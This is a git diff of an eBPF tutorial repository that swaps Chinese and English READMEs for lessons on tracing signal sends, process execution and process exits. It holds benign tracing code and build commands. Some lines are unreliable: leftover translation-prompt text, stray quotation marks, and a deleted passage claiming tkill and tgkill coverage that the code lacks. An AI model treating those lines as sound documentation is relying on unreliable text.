+ + eventp = bpf_map_lookup_elem(&values, &tid); + if (!eventp) + return 0; + + eventp->ret = ret; + bpf_printk("PID %d (%s) sent signal %d ", + eventp->pid, eventp->comm, eventp->sig); + bpf_printk("to PID %d, ret = %d", + eventp->tpid, ret); + +cleanup: + bpf_map_delete_elem(&values, &tid); + return 0; +} + +SEC("tracepoint/syscalls/sys_enter_kill") +int kill_entry(struct trace_event_raw_sys_enter *ctx) +{ + pid_t tpid = (pid_t)ctx->args[0]; + int sig = (int)ctx->args[1]; + + return probe_entry(tpid, sig); +} + +SEC("tracepoint/syscalls/sys_exit_kill") +int kill_exit(struct trace_event_raw_sys_exit *ctx) +{ + return probe_exit(ctx, ctx->ret); +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; +``` + +这个程序展示了一个重要的 eBPF 模式:如何在系统调用的入口和出口之间保存和关联信息。 + +为什么需要 hash map?因为我们需要在两个不同的探针函数之间共享数据,当系统调用进入时(`sys_enter_kill`),我们知道目标进程 ID 和信号值,但还不知道操作是否成功。当系统调用退出时(`sys_exit_kill`),我们得到了返回值,但已经失去了对参数的访问。hash map 让我们能够在入口处保存信息,然后在出口处检索它。 + +看看代码如何工作:`probe_entry` 在系统调用进入时触发,我们使用线程 ID 作为键,将事件信息存储到 hash map 中。`probe_exit` 在系统调用返回时触发,使用相同的线程 ID 查找之前保存的信息,添加返回值,然后打印完整的事件。最后删除 map 条目以避免内存泄漏。 + +这种模式非常常见——任何时候你需要关联系统调用的参数和返回值,都可以使用这个技术。 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +编译运行上述代码: + +```shell +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +或者 + +```console +$ ecc sigsnoop.bpf.c +Compiling bpf object... +Generating export types... +Packing ebpf object and config into package.json... +$ sudo ecli run package.json +Runing eBPF program... +``` + +运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 + systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0 + systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 + systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3 +``` + +## 总结 + +本文主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。使用 hash map 需要定义一个结构体: + +```c +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, __u32); + __type(value, struct event); +} values SEC(".maps"); +``` + +并使用一些对应的 API 进行访问,例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/6-sigsnoop/README_en.md b/src/6-sigsnoop/README_en.md deleted file mode 100755 index cffe5efc..00000000 --- a/src/6-sigsnoop/README_en.md +++ /dev/null @@ -1,139 +0,0 @@ -# eBPF Tutorial by Example 6: Capturing Signal Sending and Store State with Hash Maps - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel that allows developers to dynamically load, update, and run user-defined code at runtime. - -This article is the sixth part of the eBPF Tutorial by Example. It mainly introduces how to implement an eBPF tool that captures a collection of system calls that send signals to processes and uses a hash map to store state. - -## sigsnoop - -The example code is as follows: - -```c -#include -#include -#include - -#define MAX_ENTRIES 10240 -#define TASK_COMM_LEN 16 - -struct event { - unsigned int pid; - unsigned int tpid; - int sig; - int ret; - char comm[TASK_COMM_LEN]; -}; - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, __u32); - __type(value, struct event); -} values SEC(".maps"); - - -static int probe_entry(pid_t tpid, int sig) -{ - struct event event = {}; - __u64 pid_tgid; - __u32 tid; - - pid_tgid = bpf_get_current_pid_tgid(); - tid = (__u32)pid_tgid; - event.pid = pid_tgid >> 32; - event.tpid = tpid; - event.sig = sig; - bpf_get_current_comm(event.comm, sizeof(event.comm)); - bpf_map_update_elem(&values, &tid, &event, BPF_ANY); - return 0; -} - -static int probe_exit(void *ctx, int ret) -{ - __u64 pid_tgid = bpf_get_current_pid_tgid(); - __u32 tid = (__u32)pid_tgid; - struct event *eventp; - - eventp = bpf_map_lookup_elem(&values, &tid); - if (!eventp) - return 0; - - eventp->ret = ret; - bpf_printk("PID %d (%s) sent signal %d ", - eventp->pid, eventp->comm, eventp->sig); - bpf_printk("to PID %d, ret = %d", - eventp->tpid, ret); - -cleanup: - bpf_map_delete_elem(&values, &tid); - return 0; -} - -SEC("tracepoint/syscalls/sys_enter_kill") -int kill_entry(struct trace_event_raw_sys_enter *ctx) -{ - pid_t tpid = (pid_t)ctx->args[0]; - int sig = (int)ctx->args[1]; - - return probe_entry(tpid, sig); -} - -SEC("tracepoint/syscalls/sys_exit_kill") -int kill_exit(struct trace_event_raw_sys_exit *ctx) -{ - return probe_exit(ctx, ctx->ret); -} - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; -``` - -The above code defines an eBPF program for capturing system calls that send signals to processes, including kill, tkill, and tgkill. It captures the enter and exit events of system calls by using tracepoints, and executes specified probe functions such as `probe_entry` and `probe_exit` when these events occur.Instructions: Translate the following Chinese text to English -while maintaining the original formatting: "In the probe function, we use the bpf_map to store the captured event information, including the process ID of the sending signal, the process ID of the receiving signal, the signal value, and the name of the executable for the current task. When the system call exits, we retrieve the event information stored in the bpf_map and use bpf_printk to print the process ID, process name, sent signal, and return value of the system call. - -Finally, we also need to use the SEC macro to define the probe and specify the name of the system call to be captured and the probe function to be executed. - -eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain that combines with Wasm. Its purpose is to simplify the development, building, distribution, and running of eBPF programs. You can refer to for downloading and installing the ecc compilation toolchain and ecli runtime. We use eunomia-bpf to compile and run this example. - -Compile and run the above code: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -or - -```console -$ ecc sigsnoop.bpf.c -Compiling bpf object... -Generating export types... -Packing ebpf object and config into package.json... -$ sudo ecli run package.json -Running eBPF program... -``` - -After running this program, you can view the output of the eBPF program by checking the /sys/kernel/debug/tracing/trace_pipe file: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 - systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0 - systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 - systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3 -``` - -## Summary - -This article mainly introduces how to implement an eBPF tool to capture the collection of system calls sent by processes using signals and save the state using a hash map. Using a hash map requires defining a struct: - -```c -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, __u32); - __type(value, struct event); -} values SEC(".maps"); -``` - -And using corresponding APIs for access, such as bpf_map_lookup_elem, bpf_map_update_elem, bpf_map_delete_elem, etc. - -If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository or website to get more examples and complete tutorials. diff --git a/src/7-execsnoop/.config b/src/7-execsnoop/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/7-execsnoop/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/7-execsnoop/README.md b/src/7-execsnoop/README.md index 6625c7aa..a5d10fd8 100644 --- a/src/7-execsnoop/README.md +++ b/src/7-execsnoop/README.md @@ -1,18 +1,20 @@ -# eBPF 入门实践教程七:捕获进程执行事件,通过 perf event array 向用户态打印输出 +# eBPF Tutorial by Example 7: Capturing Process Execution, Output with perf event array -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel that allows developers to dynamically load, update, and run user-defined code at runtime. -本文是 eBPF 入门开发实践教程的第七篇,主要介绍如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。 +This article is the seventh part of the eBPF Tutorial by Example and mainly introduces how to capture process execution events in the Linux kernel and print output to the user command line via a perf event array. This eliminates the need to view the output of eBPF programs by checking the `/sys/kernel/debug/tracing/trace_pipe` file. After sending information to user space via the perf event array, complex data processing and analysis can be performed. ## perf buffer -eBPF 提供了两个环形缓冲区,可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区,,它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。 +When you need to send structured data from your eBPF program to user-space, `bpf_printk` isn't enough. That's where perf event arrays come in. They let you send custom data structures efficiently from kernel to user-space. + +eBPF offers two types of ring buffers for this: the perf event array (available since kernel 4.15+) and the newer BPF ring buffer (kernel 5.8+). This tutorial uses the perf event array since it's more widely supported. The newer ring buffer is more efficient and easier to use, which we'll cover in the next tutorial. ## execsnoop -通过 perf event array 向用户态命令行打印输出,需要编写一个头文件,一个 C 源文件。示例代码如下: +To print output to the user command line via the perf event array, a header file and a C source file need to be written. The example code is as follows: -头文件:execsnoop.h +Header file: execsnoop.h ```c #ifndef __EXECSNOOP_H @@ -32,7 +34,7 @@ struct event { #endif /* __EXECSNOOP_H */ ``` -源文件:execsnoop.bpf.c +Source file: execsnoop.bpf.c ```c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) @@ -48,7 +50,7 @@ struct { } events SEC(".maps"); SEC("tracepoint/syscalls/sys_enter_execve") -int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx) +int tracepoint_syscalls_sys_enter_execve(struct trace_event_raw_sys_enter* ctx) { u64 id; pid_t pid, tgid; @@ -72,27 +74,27 @@ int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx char LICENSE[] SEC("license") = "GPL"; ``` -这段代码定义了个 eBPF 程序,用于捕获进程执行 execve 系统调用的入口。 +This code defines an eBPF program for capturing the entry of the `execve` system call. -在入口程序中,我们首先获取了当前进程的进程 ID 和用户 ID,然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体,并通过 bpf_probe_read_str 函数读取了进程名称。最后,我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 +In the entry program, we first obtain the process ID and user ID of the current process, then use the `bpf_get_current_task` function to obtain the `task_struct` structure of the current process, and use the `bpf_probe_read_str` function to read the process name. Finally, we use the `bpf_perf_event_output` function to output the process execution event to the perf buffer. -使用这段代码,我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 +With this code, we can capture process execution events in the Linux kernel and analyze the process execution conditions. -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We use eunomia-bpf to compile and execute this example. You can refer to the following link to download and install the ecc compilation toolchain and ecli runtime: [https://github.com/eunomia-bpf/eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf). -使用容器编译: +Compile using a container: ```shell docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -或者使用 ecc 编译: +Or compile using ecc: ```shell ecc execsnoop.bpf.c execsnoop.h ``` -运行 +Run: ```console $ sudo ./ecli run package.json @@ -106,9 +108,9 @@ TIME PID PPID UID COMM 21:28:30 40753 40752 1000 cpuUsage.sh ``` -## 总结 +## Summary -本文介绍了如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中,定义这样一个结构体和对应的头文件: +This article introduces how to capture events of processes running in the Linux kernel and print output to the user command-line using the perf event array. After sending information to the user space via the perf event array, complex data processing and analysis can be performed. In the corresponding kernel code of libbpf, a structure and corresponding header file can be defined as follows: ```c struct { @@ -118,8 +120,6 @@ struct { } events SEC(".maps"); ``` -就可以往用户态直接发送信息。 - -更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: +This allows sending information directly to the user space. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) to get more examples and complete tutorials." diff --git a/src/7-execsnoop/README.zh.md b/src/7-execsnoop/README.zh.md new file mode 100644 index 00000000..22a9c857 --- /dev/null +++ b/src/7-execsnoop/README.zh.md @@ -0,0 +1,125 @@ +# eBPF 入门实践教程七:捕获进程执行事件,通过 perf event array 向用户态打印输出 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +本文是 eBPF 入门开发实践教程的第七篇,主要介绍如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。 + +## perf buffer + +eBPF 提供了两个环形缓冲区,可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区,,它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。 + +## execsnoop + +通过 perf event array 向用户态命令行打印输出,需要编写一个头文件,一个 C 源文件。示例代码如下: + +头文件:execsnoop.h + +```c +#ifndef __EXECSNOOP_H +#define __EXECSNOOP_H + +#define TASK_COMM_LEN 16 + +struct event { + int pid; + int ppid; + int uid; + int retval; + bool is_exit; + char comm[TASK_COMM_LEN]; +}; + +#endif /* __EXECSNOOP_H */ +``` + +源文件:execsnoop.bpf.c + +```c +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +#include +#include +#include +#include "execsnoop.h" + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u32)); +} events SEC(".maps"); + +SEC("tracepoint/syscalls/sys_enter_execve") +int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx) +{ + u64 id; + pid_t pid, tgid; + struct event event={0}; + struct task_struct *task; + + uid_t uid = (u32)bpf_get_current_uid_gid(); + id = bpf_get_current_pid_tgid(); + tgid = id >> 32; + + event.pid = tgid; + event.uid = uid; + task = (struct task_struct*)bpf_get_current_task(); + event.ppid = BPF_CORE_READ(task, real_parent, tgid); + char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); + bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); + bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); + return 0; +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +这个程序展示了如何使用 perf event array 将数据从内核空间传输到用户空间。 + +为什么需要 perf buffer?之前的例子我们使用 `bpf_printk` 打印到 trace_pipe,这种方式调试很方便,但对生产环境不够灵活,perf buffer 让我们能够高效地将结构化数据从内核传输到用户空间程序,在那里可以进行复杂的处理、过滤和格式化输出。 + +看看代码如何工作:我们首先定义了一个 `BPF_MAP_TYPE_PERF_EVENT_ARRAY` 类型的 map。在 tracepoint 中,我们收集进程信息:PID、PPID、UID 和命令名。使用 `BPF_CORE_READ` 从内核结构体中安全地读取父进程 ID,使用 `bpf_probe_read_str` 读取命令行参数。最后,`bpf_perf_event_output` 将整个 event 结构体发送到用户空间。 + +用户空间程序(这里是 ecli)会接收这些事件并格式化输出。这种模式让我们可以在用户空间做更复杂的处理,比如过滤、聚合或者写入数据库。 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +使用容器编译: + +```shell +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +或者使用 ecc 编译: + +```shell +ecc execsnoop.bpf.c execsnoop.h +``` + +运行 + +```console +$ sudo ./ecli run package.json +TIME PID PPID UID COMM +21:28:30 40747 3517 1000 node +21:28:30 40748 40747 1000 sh +21:28:30 40749 3517 1000 node +21:28:30 40750 40749 1000 sh +21:28:30 40751 3517 1000 node +21:28:30 40752 40751 1000 sh +21:28:30 40753 40752 1000 cpuUsage.sh +``` + +## 总结 + +本文介绍了如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中,定义这样一个结构体和对应的头文件: + +```c +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(key_size, sizeof(u32)); + __uint(value_size, sizeof(u32)); +} events SEC(".maps"); +``` + +就可以往用户态直接发送信息。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/7-execsnoop/README_en.md b/src/7-execsnoop/README_en.md deleted file mode 100644 index 24fda3d3..00000000 --- a/src/7-execsnoop/README_en.md +++ /dev/null @@ -1,125 +0,0 @@ -# eBPF Tutorial by Example 7: Capturing Process Execution, Output with perf event array - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel that allows developers to dynamically load, update, and run user-defined code at runtime. - -This article is the seventh part of the eBPF Tutorial by Example and mainly introduces how to capture process execution events in the Linux kernel and print output to the user command line via a perf event array. This eliminates the need to view the output of eBPF programs by checking the `/sys/kernel/debug/tracing/trace_pipe` file. After sending information to user space via the perf event array, complex data processing and analysis can be performed. - -## perf buffer - -eBPF provides two circular buffers for transferring information from eBPF programs to user space controllers. The first one is the perf circular buffer, which has existed since at least kernel v4.15. The second one is the BPF circular buffer introduced later. This article only considers the perf circular buffer. - -## execsnoop - -To print output to the user command line via the perf event array, a header file and a C source file need to be written. The example code is as follows: - -Header file: execsnoop.h - -```c -#ifndef __EXECSNOOP_H -#define __EXECSNOOP_H - -#define TASK_COMM_LEN 16 - -struct event { - int pid; - int ppid; - int uid; - int retval; - bool is_exit; - char comm[TASK_COMM_LEN]; -}; - -#endif /* __EXECSNOOP_H */ -``` - -Source file: execsnoop.bpf.c - -```c -// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) -#include -#include -#include -#include "execsnoop.h" - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); - -SEC("tracepoint/syscalls/sys_enter_execve") -int tracepoint_syscalls_sys_enter_execve(struct trace_event_raw_sys_enter* ctx) -{ - u64 id; - pid_t pid, tgid; - struct event event={0}; - struct task_struct *task; - - uid_t uid = (u32)bpf_get_current_uid_gid(); - id = bpf_get_current_pid_tgid(); - tgid = id >> 32; - - event.pid = tgid; - event.uid = uid; - task = (struct task_struct*)bpf_get_current_task(); - event.ppid = BPF_CORE_READ(task, real_parent, tgid); - char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); - bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); - return 0; -} - -char LICENSE[] SEC("license") = "GPL"; -``` - -This code defines an eBPF program for capturing the entry of the `execve` system call. - -In the entry program, we first obtain the process ID and user ID of the current process, then use the `bpf_get_current_task` function to obtain the `task_struct` structure of the current process, and use the `bpf_probe_read_str` function to read the process name. Finally, we use the `bpf_perf_event_output` function to output the process execution event to the perf buffer. - -With this code, we can capture process execution events in the Linux kernel and analyze the process execution conditions.Instructions: Translate the following Chinese text to English while maintaining the original formatting: - -We use eunomia-bpf to compile and execute this example. You can refer to the following link to download and install the ecc compilation toolchain and ecli runtime: [https://github.com/eunomia-bpf/eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf). - -Compile using a container: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -Or compile using ecc: - -```shell -ecc execsnoop.bpf.c execsnoop.h -``` - -Run: - -```console -$ sudo ./ecli run package.json -TIME PID PPID UID COMM -21:28:30 40747 3517 1000 node -21:28:30 40748 40747 1000 sh -21:28:30 40749 3517 1000 node -21:28:30 40750 40749 1000 sh -21:28:30 40751 3517 1000 node -21:28:30 40752 40751 1000 sh -21:28:30 40753 40752 1000 cpuUsage.sh -``` - -## Summary - -This article introduces how to capture events of processes running in the Linux kernel and print output to the user command-line using the perf event array. After sending information to the user space via the perf event array, complex data processing and analysis can be performed. In the corresponding kernel code of libbpf, a structure and corresponding header file can be defined as follows: - -```c -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); -``` - -This allows sending information directly to the user space. - -For more examples and detailed development guide, please refer to the official documentation of eunomia-bpf: [https://github.com/eunomia-bpf/eunomia-bpf](https://github.com/eunomia-bpf/eunomia-bpf). - -If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) to get more examples and complete tutorials." diff --git a/src/8-exitsnoop/.config b/src/8-exitsnoop/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/8-exitsnoop/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/8-exitsnoop/README.md b/src/8-exitsnoop/README.md index fbb30a87..68a903e1 100644 --- a/src/8-exitsnoop/README.md +++ b/src/8-exitsnoop/README.md @@ -1,38 +1,38 @@ -# eBPF 入门开发实践教程八:在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出 +# eBPF Tutorial by Example 8: Monitoring Process Exit Events, Output with Ring Buffer -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime in the kernel. -本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件。 +This article is the eighth part of the eBPF Tutorial by Example, focusing on monitoring process exit events with eBPF. -## ring buffer +## Ring Buffer -现在有一个新的 BPF 数据结构可用,eBPF 环形缓冲区(ring buffer)。它解决了 BPF perf buffer(当今从内核向用户空间发送数据的事实上的标准)的内存效率和事件重排问题,同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移,又有新的保留/提交API,具有更好的可用性。另外,合成和真实世界的基准测试表明,在几乎所有的情况下,所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。 +There is now a new BPF data structure available called the eBPF ring buffer. It solves the memory efficiency and event reordering issues of the BPF perf buffer, which is currently the de facto standard for sending data from the kernel to user space. It provides compatibility with perf buffer for easy migration while also introducing new reserved/commit APIs for improved usability. Additionally, synthetic and real-world benchmark tests have shown that in nearly all cases, the eBPF ring buffer should be the default choice for sending data from BPF programs to user space. -### eBPF ringbuf vs eBPF perfbuf +### eBPF Ring Buffer vs eBPF Perf Buffer -只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录,它通常会使用 BPF perf buffer(perfbuf)来实现。Perfbuf 是每个CPU循环缓冲区的集合,它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好,但由于其按CPU设计,它有两个主要的缺点,在实践中被证明是不方便的:内存的低效使用和事件的重新排序。 +Whenever a BPF program needs to send collected data to user space for post-processing and logging, it typically uses the BPF perf buffer (perfbuf). Perfbuf is a collection of per-CPU circular buffers that allow efficient data exchange between the kernel and user space. It works well in practice, but it has two main drawbacks that have proven to be inconvenient: inefficient memory usage and event reordering. -为了解决这些问题,从Linux 5.8开始,BPF提供了一个新的BPF数据结构(BPF map)。BPF环形缓冲区(ringbuf)。它是一个多生产者、单消费者(MPSC)队列,可以同时在多个CPU上安全共享。 +To address these issues, starting from Linux 5.8, BPF introduces a new BPF data structure called BPF ring buffer. It is a multiple producer, single consumer (MPSC) queue that can be safely shared across multiple CPUs. -BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: +The BPF ring buffer supports familiar features from BPF perf buffer: -- 变长的数据记录。 -- 能够通过内存映射区域有效地从用户空间读取数据,而不需要额外的内存拷贝和/或进入内核的系统调用。 -- 既支持epoll通知,又能以绝对最小的延迟进行忙环操作。 +- Variable-length data records. +- Efficient reading of data from user space through memory-mapped regions without additional memory copies and/or entering kernel system calls. +- Support for epoll notifications and busy loop operations with absolute minimal latency. -同时,BPF ringbuf解决了BPF perfbuf的以下问题: +At the same time, the BPF ring buffer solves the following problems of the BPF perf buffer: -- 内存开销。 -- 数据排序。 -- 浪费的工作和额外的数据复制。 +- Memory overhead. +- Data ordering. +- Unnecessary work and additional data copying. ## exitsnoop -本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件,并使用 ring buffer 向用户态打印输出。 +This article is the eighth part of the eBPF Tutorial by Example, focusing on monitoring process exit events with eBPF and using the ring buffer to print output to user space. -使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似,首先需要定义一个头文件: +The steps for printing output to user space using the ring buffer are similar to perf buffer. First, a header file needs to be defined: -头文件:exitsnoop.h +Header File: exitsnoop.h ```c #ifndef __BOOTSTRAP_H @@ -52,7 +52,7 @@ struct event { #endif /* __BOOTSTRAP_H */ ``` -源文件:exitsnoop.bpf.c +Source File: exitsnoop.bpf.c ```c #include "vmlinux.h" @@ -106,23 +106,17 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) } ``` -这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出: +The ring buffer uses a reserve/submit pattern. First, you call `bpf_ringbuf_reserve` to allocate space in the buffer. This gives you a pointer where you can write your data. Once you've filled in all the fields, you call `bpf_ringbuf_submit` to make it available to user-space. If anything goes wrong before submit, you can call `bpf_ringbuf_discard` instead. -1. 首先,我们引入所需的头文件和 exitsnoop.h。 -2. 定义一个名为 "LICENSE" 的全局变量,内容为 "Dual BSD/GPL",这是 eBPF 程序的许可证要求。 -3. 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射,它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024,代表 ring buffer 的最大容量。 -4. 定义一个名为 handle_exit 的 eBPF 程序,它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 -5. 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程,PID 和 TID 相同;对于子线程,它们是不同的。我们只关心进程(主线程)的退出,因此在 PID 和 TID 不同时返回 0,忽略子线程退出事件。 -6. 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败,返回 0。 -7. 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 -8. 将进程相关信息填充到预留的事件结构体 e 中,包括进程持续时间、PID、PPID、退出代码以及进程名称。 -9. 最后,使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer,之后在用户空间进行处理和输出。 +This is different from perf buffers where you pass a complete struct to `bpf_perf_event_output`. The reserve/submit pattern is more flexible and can be more efficient since you're writing directly into the buffer without extra copies. -这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。 +The program filters out thread exits by checking `if (pid != tid)`. When a thread exits, its TID differs from the main process PID. We only want to track full process exits, not individual thread exits, so we skip those events. + +This example demonstrates how to capture process exit events using exitsnoop and a ring buffer in an eBPF program, and transfer relevant information to user space. This is useful for analyzing process exit reasons and monitoring system behavior. ## Compile and Run -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We use eunomia-bpf to compile and run this example. You can install it from . Compile: @@ -143,7 +137,7 @@ Run: ```console $ sudo ./ecli run package.json -TIME PID PPID EXIT_CODE DURATION_NS COMM +TIME PID PPID EXIT_CODE DURATION_NS COMM". 21:40:09 42050 42049 0 0 which 21:40:09 42049 3517 0 0 sh 21:40:09 42052 42051 0 0 ps @@ -155,8 +149,8 @@ TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42059 42054 0 0 cat ``` -## 总结 +## Summary -本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序,该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中,我们使用 eunomia-bpf 编译运行了这个例子。 +This article introduces how to develop a simple BPF program using eunomia-bpf that can monitor process exit events in a Linux system and send the captured events to user space programs via a ring buffer. In this article, we compiled and ran this example using eunomia-bpf. 